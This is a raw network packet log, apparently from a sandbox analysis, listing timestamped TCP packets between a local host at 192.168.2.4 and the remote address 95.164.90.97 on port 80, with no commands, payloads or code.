Oct 7, 2024 03:15:46.768399000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768410921 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768416882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768421888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768433094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768443108 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768450975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768455029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768470049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768479109 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768487930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768495083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768506050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768512011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768522978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768523932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768539906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768548965 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768558025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768560886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768575907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768584013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768594027 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768604994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768623114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768635035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768636942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768646002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768655062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768667936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768670082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768682957 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768695116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768707037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768712997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768729925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768738031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768744946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768759966 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768774033 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768785000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768791914 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768804073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768821001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768827915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768836975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768843889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768852949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768861055 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768879890 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768886089 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768893957 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768902063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768918037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768927097 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768933058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768939972 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768949032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768963099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768966913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768973112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768985987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.769004107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.769011021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.769013882 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.769028902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.769032001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.769048929 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.769053936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.769069910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.769071102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.769093990 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.769098043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.769114017 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.769120932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.769136906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.769136906 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.769155025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.769155025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.769248962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.819524050 CEST	49730	80	192.168.2.4	192.229.211.108
Oct 7, 2024 03:15:46.824763060 CEST	80	49730	192.229.211.108	192.168.2.4
Oct 7, 2024 03:15:46.824851990 CEST	49730	80	192.168.2.4	192.229.211.108
Oct 7, 2024 03:15:46.853586912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853621960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853646040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853667974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853691101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853699923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.853708029 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853724003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853737116 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.853737116 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.853756905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853765965 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.853771925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853786945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853800058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.853811979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853830099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853832960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.853847980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853863001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.853863955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853880882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853892088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.853907108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853919983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.853936911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853943110 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.853952885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853971004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853976011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.853987932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.853992939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854007006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854008913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854023933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854033947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854043961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854063034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854077101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854080915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854095936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854109049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854110956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854120970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854130030 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854163885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854181051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854197025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854208946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854216099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854226112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854238033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854249954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854259968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854275942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854276896 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854302883 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854309082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854321003 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854326010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854346037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854352951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854362011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854367971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854384899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854386091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854404926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854410887 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854423046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854428053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854441881 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854449987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854469061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854469061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854485035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854486942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854504108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854505062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854521036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854522943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854540110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854542017 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854561090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854578018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854583979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854599953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854615927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854621887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854631901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854635000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854648113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854650974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854669094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854676962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854686975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854692936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854708910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854717016 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854732037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854737043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854748964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854753971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854770899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854777098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854788065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854793072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854815960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854820967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854827881 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854849100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854861021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854866028 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854885101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854887009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854903936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854919910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854927063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854943991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854965925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854969025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.854983091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.854985952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855006933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855016947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855021954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855031967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855047941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855056047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855067015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855071068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855084896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855087996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855106115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855110884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855122089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855128050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855144978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855153084 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855160952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855176926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855178118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855187893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855195045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855201960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855211020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855220079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855228901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855235100 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855246067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855262995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855271101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855272055 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855284929 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855300903 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855304956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855319977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855344057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855345011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855359077 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855362892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855381012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855381966 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855407000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855407953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855421066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855426073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855448008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855464935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855484962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855499983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855516911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855520964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855535030 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855537891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855552912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855555058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855570078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855570078 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855587959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855592012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855604887 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855608940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855623007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855626106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855642080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855643988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855659962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855662107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855676889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855696917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855727911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855742931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855760098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855763912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855776072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855782986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855799913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855815887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855820894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855835915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855851889 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855859041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855870008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855875015 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855889082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855891943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855906010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855911016 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855926991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855941057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.855947018 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855962992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855978966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.855987072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.856002092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.856018066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.856034040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.856049061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.856065989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.856076002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.856082916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.856090069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.856106997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.856122971 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.940431118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.940550089 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.940608025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.940609932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.940642118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.940658092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.940661907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.940701008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.940706968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.940735102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.940746069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.940799952 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.940809011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.940845013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.940855980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.940888882 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.940897942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.940943003 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.940953016 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.941000938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.941004038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.941049099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.941059113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.941087008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.941102982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.941138029 CEST	80	49737	95.164.90.97	192.168.2.4
